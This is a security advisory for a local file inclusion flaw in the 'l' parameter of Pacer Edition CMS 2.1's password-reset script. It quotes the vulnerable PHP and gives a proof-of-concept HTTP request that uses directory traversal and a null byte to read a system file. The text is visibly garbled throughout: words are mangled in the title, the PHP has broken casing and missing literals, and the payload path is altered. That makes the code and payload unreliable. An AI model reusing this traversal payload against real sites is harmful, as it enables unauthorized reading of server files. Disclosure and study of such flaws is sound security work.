Pacer Edition CMS 2.1 (l param) Local File Inclusion Defects and repair

Pacer Edition CMS 2.1 (l param) Local File isolation sion Vulnerability

Vendor: The Pacer Edition

Product web page: http://www.thepaceredition.com

Affected version: RC 2.1 (SVN: 867)

Summary: The Pacer Edition is a Content Management System (CMS)

Written using PHP 5.2.9 as a minimum requirement. The Pacer Edition

CMS was based from Website baker core and has been completely

Redesigned with a whole new look and feel along with each new

Advanced features to allow you to build sites exactly how you want

And make them, 100% yours!

Desc: Pacer Edition CMS suffers from a local file inlcusion

Vulnerability when input passed thru the l parameter

Admin/login/forgot/index. php script is not properly verified

Before being used to include files. This can be exploited

Include files from local resources with directory traversal

Attacks and URL encoded NULL bytes.

/Admin/login/forgot/index. php (line: 59-62 ):

----------------------------------------------------------------

$ Lang_id = (isset ($ _ GET [l])? $ _ GET [l]:);

If ($ lang_id =) $ lang_id = (LANGUAGE )? LANGUAGE: (DEFAULT_LANGUAGE )? DEFAULT_LANGUAGE: EN;

If (! File_exists (PE_PATH./ages/. $ lang_id.. php) $ lang_id = EN;

Require (PE_PATH./ages/. $ lang_id.. php );

----------------------------------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)

Apache 2.2.14 (Win32)

PHP 5.3.1

MySQL 5.1.41

Vulnerability discovered by Gjoko LiquidWorm Krstic

Liquidworm gmail com

Zero Science Lab

Advisory ID: ZSL-2011-5019

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php

07.06.2011

PoC:

----------------------------------------------------------------

POST/admin/login/forgot/index. php? L =... % 2f... % 2f... % 2f... % 2f... % 2f... % 2fboot. ini % 00 HTTP/1.1

Host: localhost

Proxy-Connection: keep-alive

User-Agent: thricer

Content-Length: 2

Cache-Control: max-age = 0

Origin: null

Content-Type: multipart/form-data; boundary = ---- x

Accept: text/html

Accept-Language: en-US, en; q = 0.8

Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.3

------ X

Content-Disposition: form-data; name = "email"

Sm

------ X --

----------------------------------------------------------------